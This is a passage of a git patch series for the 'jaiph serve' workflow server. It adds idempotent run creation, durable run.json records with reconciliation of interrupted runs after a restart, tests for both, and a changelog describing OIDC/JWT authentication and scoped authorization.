HTTP endpoint. Reuses the * exact stdio state machine (`jaiph mcp`); its `tools/call` funnels into the @@ -182,6 +221,12 @@ export class ServeHandler { write: () => {}, log: opts.log ?? ((): void => {}), }); + // Seed the registry from durable state so a restart does not lose run ids. + for (const record of opts.initialRuns ?? []) { + record.order = this.orderCounter++; + this.runs.set(record.run_id, record); + if (record.idempotency_key) this.idempotencyIndex.set(record.idempotency_key, record.run_id); + } } /** @@ -413,12 +458,49 @@ export class ServeHandler { const args: Record = {}; for (const p of spec.params) args[p] = raw[p] as string; + // Idempotency: a client that retries a create with the same key (scoped to + // this principal + workflow) must never spawn a second expensive run. + const idempotencyKey = req.headers["idempotency-key"]; + let composite: string | undefined; + let argsHash: string | undefined; + let principal: string | undefined; + if (typeof idempotencyKey === "string" && idempotencyKey.trim() !== "") { + principal = this.principalOf(req); + composite = `${principal}\n${spec.workflow}\n${idempotencyKey.trim()}`; + argsHash = hashArgs(args); + const existingId = this.idempotencyIndex.get(composite); + const existing = existingId ? this.runs.get(existingId) : undefined; + if (existing) { + // Same key, changed args → conflict, and never spawn. + if (existing.args_hash !== argsHash) { + return this.error( + 409, + "E_IDEMPOTENCY_CONFLICT", + `idempotency key already used for "${spec.name}" with different arguments`, + ); + } + // Same key, same args → return the original run verbatim. + return this.json(200, this.toRunObject(existing)); + } + // Stale index entry (its run was evicted): drop it and create fresh. + if (existingId) this.idempotencyIndex.delete(composite); + } + const started = this.startRun(spec, args); if ("atCapacity" in started) { return this.error(429, "E_TOO_MANY_RUNS", `too many concurrent runs (max ${this.opts.maxConcurrent})`); } const { record, done } = started; + // Reserve the key now (synchronously, before any await) so a concurrent + // retry sees this run rather than racing to start a duplicate. + if (composite) { + record.idempotency_key = composite; + record.principal = principal; + record.args_hash = argsHash; + this.idempotencyIndex.set(composite, record.run_id); + } + const wait = req.query.get("wait") === "true"; if (wait) { await done; @@ -526,14 +608,26 @@ export class ServeHandler { for (const r of this.runs.values()) { if (!isTerminal(r.status) || !r.ended_at) continue; const ended = Date.parse(r.ended_at); - if (Number.isFinite(ended) && ended < cutoff) this.runs.delete(r.run_id); + if (Number.isFinite(ended) && ended < cutoff) this.evict(r); } } const max = this.opts.retainRuns ?? 0; if (max > 0) { // Oldest terminal records first (ascending `order`); keep the newest `max`. const terminal = [...this.runs.values()].filter((r) => isTerminal(r.status)).sort((a, b) => a.order - b.order); - for (let i = 0; i < terminal.length - max; i += 1) this.runs.delete(terminal[i].run_id); + for (let i = 0; i < terminal.length - max; i += 1) this.evict(terminal[i]); + } + } + + /** + * Drop one record from the in-memory registry and its idempotency index + * entry, so the index cannot grow past the retained-run set. The durable + * `run.json` / journal on disk are untouched (the operator's to prune). + */ + private evict(record: RunRecord): void { + this.runs.delete(record.run_id); + if (record.idempotency_key && this.idempotencyIndex.get(record.idempotency_key) === record.run_id) { + this.idempotencyIndex.delete(record.idempotency_key); } } @@ -674,6 +768,9 @@ export class ServeHandler { record.result_text = result.text; record.run_dir = result.runDir ?? null; record.status = record.cancelled ? "cancelled" : result.isError ? "failed" : "succeeded"; + // Persist the public record beside the journal before eviction, so a + // restart can reload this terminal run (and its idempotency key). + this.opts.persistRun?.(record); this.evictCompleted(); } @@ -681,9 +778,24 @@ export class ServeHandler { record.ended_at = this.opts.now(); record.result_text = err instanceof Error ? err.message : String(err); record.status = record.cancelled ? "cancelled" : "failed"; + this.opts.persistRun?.(record); this.evictCompleted(); } + /** + * Opaque principal an idempotency key is scoped to. With a bearer token + * configured it is a hash of the presented token (so a future multi-token + * model scopes per caller); without one every caller shares `anonymous`. + * Never the raw token — the principal is persisted in `run.json`. + */ + private principalOf(req: ServeRequest): string { + if (!this.opts.token) return "anonymous"; + const header = req.headers["authorization"] ?? ""; + const match = /^Bearer\s+(.+)$/.exec(header); + const token = match ? match[1] : this.opts.token; + return createHash("sha256").update(token).digest("hex").slice(0, 16); + } + private authorized(req: ServeRequest): boolean { if (!this.opts.token) return true; const header = req.headers["authorization"]; diff --git a/src/cli/serve/openapi.ts b/src/cli/serve/openapi.ts index d1ff0f33..646c0ad1 100644 --- a/src/cli/serve/openapi.ts +++ b/src/cli/serve/openapi.ts @@ -63,13 +63,24 @@ export function buildOpenApi(tools: McpToolSpec[], serverInfo: OpenApiServerInfo description: "Respond only when the run is terminal (200) instead of returning 202 immediately.", schema: { type: "boolean" }, }, + { + name: "Idempotency-Key", + in: "header", + required: false, + description: + "Opaque retry key scoped to the authenticated principal and this workflow. Repeating a " + + "create with the same key and identical arguments returns the original run (200) instead of " + + "starting a second one; a reused key with different arguments is a 409 conflict and never spawns.", + schema: { type: "string" }, + }, ], requestBody, responses: { - "200": runResponse("Run reached a terminal state (wait=true)."), + "200": runResponse("Run reached a terminal state (wait=true), or an idempotent replay of the original run."), "202": runResponse("Run accepted and started."), "400": errorResponse("Invalid arguments."), "401": errorResponse("Missing or invalid bearer token."), + "409": errorResponse("Idempotency key reused with different arguments."), "413": errorResponse("Request body too large."), "415": errorResponse("Request body was not application/json."), "429": errorResponse("Too many concurrent runs."), @@ -308,7 +319,7 @@ export function buildOpenApi(tools: McpToolSpec[], serverInfo: OpenApiServerInfo properties: { run_id: { type: "string" }, workflow: { type: "string" }, - status: { type: "string", enum: ["running", "succeeded", "failed", "cancelled"] }, + status: { type: "string", enum: ["running", "succeeded", "failed", "cancelled", "interrupted"] }, started_at: { type: "string" }, ended_at: { type: ["string", "null"] }, exit_status: { type: ["integer", "null"] }, diff --git a/src/cli/serve/run-store.test.ts b/src/cli/serve/run-store.test.ts new file mode 100644 index 00000000..2e056e53 --- /dev/null +++ b/src/cli/serve/run-store.test.ts @@ -0,0 +1,137 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { RunRecord } from "./handler"; +import { + INTERRUPTED_RESULT_TEXT, + PUBLIC_RUN_FILE, + hashArgs, + loadPersistedRuns, + persistRunRecord, +} from "./run-store"; +import { RUN_SUMMARY } from "./runfiles"; + +const NOW = "2026-07-27T12:00:00.000Z"; + +function makeRunDir(root: string, dateTime: string): string { + const [date, time] = dateTime.split("/"); + const dir = join(root, date, time); + mkdirSync(dir, { recursive: true }); + return dir; +} + +function writeJournal(dir: string, runId: string, workflow: string, terminal: boolean): void { + const lines = [ + JSON.stringify({ type: "WORKFLOW_START", workflow, run_id: runId, ts: "2026-07-27T11:00:00.000Z", event_version: 1 }), + ]; + if (terminal) { + lines.push(JSON.stringify({ type: "WORKFLOW_END", workflow, run_id: runId, ts: "2026-07-27T11:00:05.000Z", event_version: 1 })); + } + writeFileSync(join(dir, RUN_SUMMARY), lines.join("\n") + "\n"); +} + +function terminalRecord(runId: string, runDir: string, over?: Partial): RunRecord { + return { + run_id: runId, + workflow: "build", + status: "succeeded", + started_at: "2026-07-27T11:00:00.000Z", + ended_at: "2026-07-27T11:00:05.000Z", + exit_status: 0, + signal: null, + result_text: "built", + run_dir: runDir, + cancelled: false, + order: 0, + ...over, + }; +} + +test("hashArgs is order-independent and value-sensitive", () => { + assert.equal(hashArgs({ a: "1", b: "2" }), hashArgs({ b: "2", a: "1" })); + assert.notEqual(hashArgs({ a: "1" }), hashArgs({ a: "2" })); +}); + +test("persist then load round-trips a terminal run (with its idempotency key)", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-runstore-")); + try { + const dir = makeRunDir(root, "2026-07-27/11-00-00-tools"); + writeJournal(dir, "run-a", "build", true); + persistRunRecord(terminalRecord("run-a", dir, { idempotency_key: "p\nbuild\nk1", args_hash: "h1", principal: "p" })); + assert.ok(existsSync(join(dir, PUBLIC_RUN_FILE)), "run.json written beside the journal"); + + const [rec] = loadPersistedRuns(root, NOW); + assert.equal(rec.run_id, "run-a"); + assert.equal(rec.status, "succeeded"); + assert.equal(rec.result_text, "built"); + assert.equal(rec.run_dir, dir); + assert.equal(rec.idempotency_key, "p\nbuild\nk1"); + assert.equal(rec.args_hash, "h1"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("a run with a journal but no run.json is reconciled to interrupted and persisted", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-runstore-")); + try { + const dir = makeRunDir(root, "2026-07-27/11-30-00-tools"); + // No run.json — the server died while this run was still running. + writeJournal(dir, "run-b", "slow", false); + + const [rec] = loadPersistedRuns(root, NOW); + assert.equal(rec.status, "interrupted", "no longer reported as running"); + assert.equal(rec.run_id, "run-b"); + assert.equal(rec.workflow, "slow"); + assert.equal(rec.ended_at, NOW); + assert.equal(rec.result_text, INTERRUPTED_RESULT_TEXT); + // The reconciliation is durable: run.json now exists and a second load is stable. + assert.ok(existsSync(join(dir, PUBLIC_RUN_FILE)), "reconciled record persisted"); + const persisted = JSON.parse(readFileSync(join(dir, PUBLIC_RUN_FILE), "utf8")); + assert.equal(persisted.status, "interrupted"); + const [again] = loadPersistedRuns(root, "2026-07-27T23:00:00.000Z"); + assert.equal(again.status, "interrupted"); + assert.equal(again.ended_at, NOW, "ended_at fixed at first reconciliation, not re-stamped"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("even a run whose journal reached WORKFLOW_END is interrupted when no record was committed", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-runstore-")); + try { + const dir = makeRunDir(root, "2026-07-27/11-45-00-tools"); + writeJournal(dir, "run-c", "build", true); // journal is complete, but run.json never written + const [rec] = loadPersistedRuns(root, NOW); + assert.equal(rec.status, "interrupted", "outcome is unknown without a committed record — not silently succeeded"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("loadPersistedRuns returns records oldest-first and skips dirs without a journal", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-runstore-")); + try { + const older = makeRunDir(root, "2026-07-26/09-00-00-tools"); + writeJournal(older, "old", "build", true); + persistRunRecord(terminalRecord("old", older)); + const newer = makeRunDir(root, "2026-07-27/09-00-00-tools"); + writeJournal(newer, "new", "build", true); + persistRunRecord(terminalRecord("new", newer)); + // A directory with neither journal nor run.json is ignored. + mkdirSync(join(root, "2026-07-27", "10-00-00-empty"), { recursive: true }); + + const recs = loadPersistedRuns(root, NOW); + assert.deepEqual(recs.map((r) => r.run_id), ["old", "new"]); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("an absent runs root yields an empty registry, and persist is a no-op without a run dir", () => { + assert.deepEqual(loadPersistedRuns(join(tmpdir(), "does-not-exist-jaiph"), NOW), []); + // No throw when the record has no run_dir. + persistRunRecord(terminalRecord("x", "" as unknown as string, { run_dir: null })); +}); diff --git a/src/cli/serve/run-store.ts b/src/cli/serve/run-store.ts new file mode 100644 index 00000000..dbb987c0 --- /dev/null +++ b/src/cli/serve/run-store.ts @@ -0,0 +1,215 @@ +import { createHash } from "node:crypto"; +import { readFileSync, readdirSync, renameSync, statSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import type { RunRecord, RunStatus } from "./handler"; +import { RUN_SUMMARY } from "./runfiles"; + +/** + * The public run record persisted beside a run's journal, so `jaiph serve` can + * reconstruct completed runs after a restart instead of losing every run id the + * moment the process dies. Written atomically at finalize (and when an + * interrupted run is reconciled on startup); read back by {@link loadPersistedRuns}. + */ +export const PUBLIC_RUN_FILE = "run.json"; + +/** Bump when the on-disk shape changes so an old file can be ignored rather than mis-parsed. */ +const SCHEMA_VERSION = 1; + +/** On-disk shape of {@link PUBLIC_RUN_FILE}. A superset of the public run object. */ +interface PersistedRun { + schema_version: number; + run_id: string; + workflow: string; + status: RunStatus; + started_at: string; + ended_at: string | null; + exit_status: number | null; + signal: string | null; + result_text: string | null; + run_dir: string | null; + /** Composite idempotency key (`principal\nworkflow\nkey`), when the create carried one. */ + idempotency_key?: string; + /** Opaque principal the idempotency key is scoped to. */ + principal?: string; + /** SHA-256 of the run's canonical arguments, for idempotency conflict detection. */ + args_hash?: string; +} + +/** Result text stamped on a run reconciled from a `running` journal after process death. */ +export const INTERRUPTED_RESULT_TEXT = + "run interrupted: the serving process exited before this run reached a terminal state"; + +/** + * SHA-256 (hex) of a run's canonical arguments. Keys are sorted so two requests + * with the same parameters in a different textual order hash identically — + * idempotency conflict detection compares this, not raw request bytes. + */ +export function hashArgs(args: Record): string { + const canonical = JSON.stringify(Object.keys(args).sort().map((k) => [k, args[k]])); + return createHash("sha256").update(canonical).digest("hex"); +} + +/** + * Write a run's public record beside its journal, atomically (temp file + + * rename) so a crash mid-write can never leave a half-parsed file. A no-op when + * the run has no discovered `run_dir` (nothing durable to sit beside). Failures + * are swallowed: persistence is best-effort and must never fail a run or its + * HTTP response. + */ +export function persistRunRecord(record: RunRecord): void { + if (!record.run_dir) return; + const persisted: PersistedRun = { + schema_version: SCHEMA_VERSION, + run_id: record.run_id, + workflow: record.workflow, + status: record.status, + started_at: record.started_at, + ended_at: record.ended_at, + exit_status: record.exit_status, + signal: record.signal, + result_text: record.result_text, + run_dir: record.run_dir, + idempotency_key: record.idempotency_key, + principal: record.principal, + args_hash: record.args_hash, + }; + const target = join(record.run_dir, PUBLIC_RUN_FILE); + const tmp = `${target}.tmp`; + try { + writeFileSync(tmp, JSON.stringify(persisted), "utf8"); + renameSync(tmp, target); + } catch { + // Best-effort: a read-only or vanished run dir must not break the response. + } +} + +/** + * Reconstruct the run registry from the durable runs tree at startup. Scans + * `runsRoot` (same date/time layout as `findRunDir`) and returns one record per + * run, oldest-first so the caller can assign monotonic order: + * + * - A run with a `run.json` reloads verbatim (terminal state, idempotency key). + * - A run with a journal but no `run.json` was `running` when the process died; + * it is **reconciled** to the explicit terminal status `interrupted` (never + * left reported as permanently running) and that reconciliation is persisted + * so it survives a second restart. + * + * `runsRoot` being absent/unreadable yields an empty registry. + */ +export function loadPersistedRuns(runsRoot: string, nowIso: string): RunRecord[] { + const records: Array<{ dir: string; record: RunRecord }> = []; + for (const runDir of scanRunDirs(runsRoot)) { + const record = reloadRun(runDir) ?? reconcileRun(runDir, nowIso); + if (record) records.push({ dir: runDir, record }); + } + // Oldest-first: the run dir name is a sortable UTC date/time, so the scan + // order already reflects chronology once reversed back to ascending. + records.sort((a, b) => (a.dir < b.dir ? -1 : a.dir > b.dir ? 1 : 0)); + return records.map((r) => r.record); +} + +/** Every run directory (holding a `run_summary.jsonl`) under the runs tree. */ +function scanRunDirs(runsRoot: string): string[] { + const out: string[] = []; + let dateDirs: string[]; + try { + dateDirs = readdirSync(runsRoot).filter((d) => !d.startsWith(".") && isDir(join(runsRoot, d))); + } catch { + return out; + } + for (const dateDir of dateDirs) { + const datePath = join(runsRoot, dateDir); + let timeDirs: string[]; + try { + timeDirs = readdirSync(datePath).filter((d) => isDir(join(datePath, d))); + } catch { + continue; + } + for (const timeDir of timeDirs) { + const runDir = join(datePath, timeDir); + if (existsFile(join(runDir, RUN_SUMMARY)) || existsFile(join(runDir, PUBLIC_RUN_FILE))) out.push(runDir); + } + } + return out; +} + +/** Reload a terminal record from `run.json`; null when the file is absent or unusable. */ +function reloadRun(runDir: string): RunRecord | null { + let parsed: PersistedRun; + try { + parsed = JSON.parse(readFileSync(join(runDir, PUBLIC_RUN_FILE), "utf8")) as PersistedRun; + } catch { + return null; + } + if (parsed.schema_version !== SCHEMA_VERSION || typeof parsed.run_id !== "string") return null; + return { + run_id: parsed.run_id, + workflow: parsed.workflow, + status: parsed.status, + started_at: parsed.started_at, + ended_at: parsed.ended_at, + exit_status: parsed.exit_status, + signal: parsed.signal, + result_text: parsed.result_text, + // The scanned directory is authoritative — it is where events/artifacts live now. + run_dir: runDir, + cancelled: parsed.status === "cancelled", + order: 0, + idempotency_key: parsed.idempotency_key, + principal: parsed.principal, + args_hash: parsed.args_hash, + }; +} + +/** + * Reconcile a run that has a journal but no persisted record: it was `running` + * when the process died. Read its identity from the `WORKFLOW_START` first line + * and mark it `interrupted`. The reconciled record is persisted so the terminal + * state is durable. Returns null when the journal has no usable WORKFLOW_START. + */ +function reconcileRun(runDir: string, nowIso: string): RunRecord | null { + let firstLine: string; + try { + firstLine = readFileSync(join(runDir, RUN_SUMMARY), "utf8").split(/\r?\n/)[0] ?? ""; + } catch { + return null; + } + let start: { type?: string; run_id?: string; workflow?: string; ts?: string }; + try { + start = JSON.parse(firstLine) as typeof start; + } catch { + return null; + } + if (start.type !== "WORKFLOW_START" || typeof start.run_id !== "string") return null; + const record: RunRecord = { + run_id: start.run_id, + workflow: typeof start.workflow === "string" ? start.workflow : "", + status: "interrupted", + started_at: typeof start.ts === "string" ? start.ts : nowIso, + ended_at: nowIso, + exit_status: null, + signal: null, + result_text: INTERRUPTED_RESULT_TEXT, + run_dir: runDir, + cancelled: false, + order: 0, + }; + persistRunRecord(record); + return record; +} + +function isDir(path: string): boolean { + try { + return statSync(path).isDirectory(); + } catch { + return false; + } +} + +function existsFile(path: string): boolean { + try { + return statSync(path).isFile(); + } catch { + return false; + } +} From 7ffb2c690238c63fd4df13ffc034203519259d2d Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Mon, 27 Jul 2026 19:19:28 +0200 Subject: [PATCH 17/24] Feat: add OIDC/JWT auth, scoped authz, and audit identity to serve The static JAIPH_SERVE_TOKEN gate is fail-closed but anonymous: no user identity, revocation, per-action authorization, or attribution, which is unsafe once multiple users can invoke arbitrary engineering workflows. Keep the shared bearer token as an explicit single-operator mode and add a standard OIDC/JWT mode configured by issuer, audience, and JWKS discovery, verified with a maintained JWT library rather than custom crypto. Authorize invoke, inspect/artifact, and cancel as separate capabilities so a principal cannot inspect or cancel runs outside its policy. Attach the authenticated principal and a request/correlation ID to run metadata, logs, OTLP resources, and Sentry tags while keeping bearer tokens and secret-bearing claims out of journals. Make /docs and /openapi.json exposure configurable and keep health probes free of credentials. Integration and unit tests cover valid, expired, wrong-audience, wrong-issuer, unknown-key, and insufficient-scope tokens plus audit attribution. Co-Authored-By: Claude Opus 4.8 (1M context) --- .jaiph/engineer.jh | 4 +- CHANGELOG.md | 4 +- QUEUE.md | 19 --- README.md | 2 +- docs/cli.md | 36 ++-- docs/deploy.md | 2 +- docs/env-vars.md | 8 +- docs/index.html | 5 +- docs/observability.md | 11 +- docs/serve.md | 33 +++- integration/serve-auth.test.ts | 271 +++++++++++++++++++++++++++++++ package-lock.json | 13 ++ package.json | 3 + src/cli/commands/serve.ts | 52 +++++- src/cli/exec/call.ts | 11 ++ src/cli/serve/auth.test.ts | 86 ++++++++++ src/cli/serve/auth.ts | 254 +++++++++++++++++++++++++++++ src/cli/serve/handler.test.ts | 178 ++++++++++++++++++++ src/cli/serve/handler.ts | 213 ++++++++++++++++++------ src/cli/serve/run-store.ts | 6 +- src/cli/telemetry/otlp.test.ts | 42 +++++ src/cli/telemetry/otlp.ts | 12 +- src/cli/telemetry/sentry.test.ts | 13 ++ src/cli/telemetry/sentry.ts | 17 +- 24 files changed, 1182 insertions(+), 113 deletions(-) create mode 100644 integration/serve-auth.test.ts create mode 100644 src/cli/serve/auth.test.ts create mode 100644 src/cli/serve/auth.ts diff --git a/.jaiph/engineer.jh b/.jaiph/engineer.jh index 2f991cdc..ee38509e 100755 --- a/.jaiph/engineer.jh +++ b/.jaiph/engineer.jh @@ -214,7 +214,7 @@ script check_claude_capacity = ``` ;; esac - printf 'Claude current session usage is %s%%.' "$percent" + printf 'Claude current session usage is %s%% (threshold: 90%%).' "$percent" (( percent <= 90 )) ``` @@ -257,7 +257,7 @@ workflow classify_role(task) { workflow implement(task, role_name) { config { - agent.model = "fable" + agent.model = "opus" } run task_text_has_header(task) catch (err) { diff --git a/CHANGELOG.md b/CHANGELOG.md index a2b49778..c00dc396 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ ## Summary -- **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one bearer auth boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Bearer-token auth, a concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. Runs are restart-safe and retry-safe: each run's public record is persisted beside its journal and reconstructed on startup (so list/get/events/artifacts keep working across a restart, and a run caught mid-flight by a process death is reconciled to an explicit `interrupted` state, never left reported as permanently running), and an optional `Idempotency-Key` on run creation makes client retries return the original run instead of spawning a duplicate. It is a **single-replica** service by design — the run registry, concurrency cap, and idempotency index are per-process — so scale it vertically, not by adding replicas. +- **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one authentication boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Production authentication is either a static single-operator bearer token or standard OIDC/JWT (issuer + audience + JWKS discovery) with per-user identity and separate `invoke` / `inspect` / `cancel` scope authorization, and every run is audit-attributed to its authenticated principal and correlation id (in run metadata, logs, OTLP, and Sentry — never a token). A concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. Runs are restart-safe and retry-safe: each run's public record is persisted beside its journal and reconstructed on startup (so list/get/events/artifacts keep working across a restart, and a run caught mid-flight by a process death is reconciled to an explicit `interrupted` state, never left reported as permanently running), and an optional `Idempotency-Key` on run creation makes client retries return the original run instead of spawning a duplicate. It is a **single-replica** service by design — the run registry, concurrency cap, and idempotency index are per-process — so scale it vertically, not by adding replicas. - **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. @@ -12,6 +12,8 @@ ## All changes +- **Feat — production authentication, authorization, and audit identity for `jaiph serve`:** `JAIPH_SERVE_TOKEN` was a fail-closed shared-secret gate with no user identity, revocation, per-action authorization, or attribution — insufficient once multiple company users can invoke arbitrary engineering workflows over one deployment. `jaiph serve` now has two production auth modes plus the open loopback default, all resolved once at startup in the new `src/cli/serve/auth.ts` and applied uniformly to `/v1/*` **and** `POST /mcp`. **Static single-operator mode is kept and explicit:** `JAIPH_SERVE_TOKEN` remains a constant-time-compared shared secret, but is now documented as a **single-operator** gate — one `operator` principal that holds every capability and sees every run, *not* multi-tenant authentication. **New OIDC/JWT mode:** `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (setting only one is a startup error; OIDC takes precedence over the static token) verify bearer JWTs against the issuer's JWKS — discovered from `/.well-known/openid-configuration` or set explicitly with `JAIPH_SERVE_OIDC_JWKS_URI` — using the maintained `jose` library rather than hand-rolled cryptography (signature, `exp`/`nbf`, `aud`, `iss`, and `kid` selection with unknown-key refetch). **Per-action authorization:** three capabilities — `invoke` (run a workflow, MCP `tools/call`), `inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), and `cancel` (cancel a run) — are granted in OIDC mode by the OAuth `jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel` scopes (read from the `scope` string or `scp` array); a principal missing a capability is `403 E_FORBIDDEN`, and a principal (the token `sub`) may inspect or cancel **only the runs it created** — another principal's run is `404`, indistinguishable from nonexistent. **Audit identity everywhere but the journal:** the authenticated subject and a request/correlation id (from `X-Correlation-Id` / `X-Request-Id`, newline-stripped and bounded, else a generated UUID) are attached to run metadata (`principal` / `correlation_id` on the run object and persisted `run.json`), the invoke/cancel audit log lines, OTLP resource attributes (`jaiph.principal` / `jaiph.correlation_id`), and Sentry tags — propagated across async steps (including the MCP `tools/call` dispatch and detached SSE streaming) via `AsyncLocalStorage` — while **no token or secret-bearing claim is ever written to the durable journal**. **Configurable API-surface exposure:** `JAIPH_SERVE_EXPOSE_DOCS=false` returns `404` for `/docs` and `/openapi.json` so a hardened deployment can hide its API surface; `/healthz` stays always-open and credential-free (liveness/readiness only). Verification errors map to distinguishing codes: `401 E_TOKEN_EXPIRED`, `401 E_TOKEN_INVALID` (bad audience/issuer/key/signature), `403 E_FORBIDDEN` (insufficient scope), and `503 E_AUTH_UNAVAILABLE` when the identity provider / JWKS is unreachable (a valid token is never reported invalid because the IdP is down). This adds the project's **first runtime dependency** (`jose`; `package.json` gains a `dependencies` block). Tests: `src/cli/serve/auth.test.ts` (open/static/OIDC mode resolution and precedence, static-token header matrix, scope→capability mapping including the insufficient-scope and `scp`-array cases), new cases in `src/cli/serve/handler.test.ts` (capability gating per endpoint, per-principal run ownership, audit log lines without the token), and `integration/serve-auth.test.ts` (the full OIDC token matrix — valid, expired, wrong-audience, wrong-issuer, unknown-key, insufficient-scope, and missing — against a live server; separate capabilities with per-principal run visibility and audited invoke/cancel that never contain the bearer token; and `--help` documenting the static token as single-operator, not multi-tenant). Docs: a rewritten [Authenticate and authorize](docs/serve.md#7-authenticate-and-authorize) section in [Serve workflows over HTTP](docs/serve.md) (both modes, the scope→capability table, ownership, and the audit-identity propagation), the auth/capability/error/`principal`+`correlation_id` updates in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), the `JAIPH_SERVE_OIDC_*` / `JAIPH_SERVE_EXPOSE_DOCS` rows plus the updated `JAIPH_SERVE_TOKEN` and `OTEL_RESOURCE_ATTRIBUTES` rows in [Environment variables](docs/env-vars.md), the `jaiph.principal` / `jaiph.correlation_id` OTLP resource attributes and Sentry tags in [Export traces to an OTLP collector](docs/observability.md), the OIDC option in the Kubernetes auth note of [Deploy](docs/deploy.md), and README + `docs/index.html` feature bullets. + - **Fix — make `jaiph serve` runs restart-safe and retry-safe, and define the supported topology:** run artifacts were durable but HTTP run *discovery* was only an in-memory map, so restarting the process made every completed run id unreachable (`GET /v1/runs/{id}`, `/events`, `/artifacts` → `404`), lost all in-flight state, and — because a create had no idempotency contract — let a client retry after a blip or a restart spawn a **second** expensive workflow. `jaiph serve` was a single-process developer server, not yet a reliable service. Four changes close the gap. **Durable public run record.** A run's public object is now persisted beside its journal as `run.json` (new `src/cli/serve/run-store.ts`, `persistRunRecord`), written atomically (temp file + `rename`) at finalize — best-effort and a no-op when the run has no discovered `run_dir`, so a read-only or vanished run dir never breaks the HTTP response. **Reconstruction on startup.** `loadPersistedRuns` scans `JAIPH_RUNS_DIR` (the same date/time layout `findRunDir` uses) and seeds the registry before the first request (`ServeHandlerOptions.initialRuns`): a run with a `run.json` reloads verbatim (a `schema_version` guard ignores an incompatible file rather than mis-parsing it), so list/get/events/artifacts and idempotency keys all keep working for runs that completed before the restart. **Interrupted-run reconciliation.** A run with a journal but no `run.json` was `running` when the process died; on startup it is reconciled from its `WORKFLOW_START` line into a new explicit terminal status **`interrupted`** (`RunStatus`, `isTerminal`, and the OpenAPI `status` enum all gain it) — its real outcome is unknown, so it is neither `succeeded` nor `failed`, but it is **never reported as permanently `running`** — and the reconciliation is persisted so it is stable across further restarts. **Idempotent creation.** `POST /v1/workflows/{name}/runs` now honors an `Idempotency-Key` request header, scoped to the workflow **and** the authenticated principal (a composite key; `principalOf` derives an opaque 16-hex hash of the presented bearer token, or `anonymous` when no token is configured — never the raw token, which would otherwise land in `run.json`). The key is reserved synchronously in an in-memory index **before any await**, so a concurrent retry cannot race to a duplicate spawn: a repeat with the same key and identical arguments returns the **original** run (`200`, nothing spawned); a reused key with **different** arguments is `409 E_IDEMPOTENCY_CONFLICT` and, again, spawns nothing. Argument comparison is a SHA-256 of the run's canonical (key-sorted) args (`hashArgs`), so reordered-but-equal arguments match. The composite key, principal, and args hash persist in `run.json`, and the index is rebuilt from reconstructed records at startup, so idempotency survives a restart too; a new `evict()` drops the index entry when its run leaves the retained set (so the index can't outgrow the registry, and a fresh request with a forgotten key starts a new run). **Topology stated explicitly.** `jaiph serve` is documented as **single-replica**: the run registry, concurrency cap, and idempotency index are per-process with no shared store, so multi-replica operation behind one load balancer is unsupported — scale vertically. `docs/deploy/k8s.yaml` pins `replicas: 1` with a `Recreate` strategy (so a rollout hands the runs volume to exactly one successor pod) and an inline comment explaining why. Tests: `src/cli/serve/run-store.test.ts` (order-independent `hashArgs`; persist→load round-trips a terminal run with its idempotency key; a journal-only run — even one whose journal reached `WORKFLOW_END` — reconciles to `interrupted` and is persisted; oldest-first ordering; an absent runs root yields an empty registry and persist is a no-op without a run dir), new cases in `src/cli/serve/handler.test.ts` (same key+args returns the original and never re-spawns; same key + different args is `409` and never spawns; distinct keys/workflows/principals are independent; an evicted original spawns fresh rather than returning a dangling id; `initialRuns` seed the registry so a restarted server serves prior terminal runs and their keys; `persistRun` fires with the terminal record at finalize), and `integration/serve-restart.test.ts` (recovery **and** idempotency survive a real process restart end-to-end). Docs: a new "Restart-safe and retry-safe" section (durable records, interrupted reconciliation, 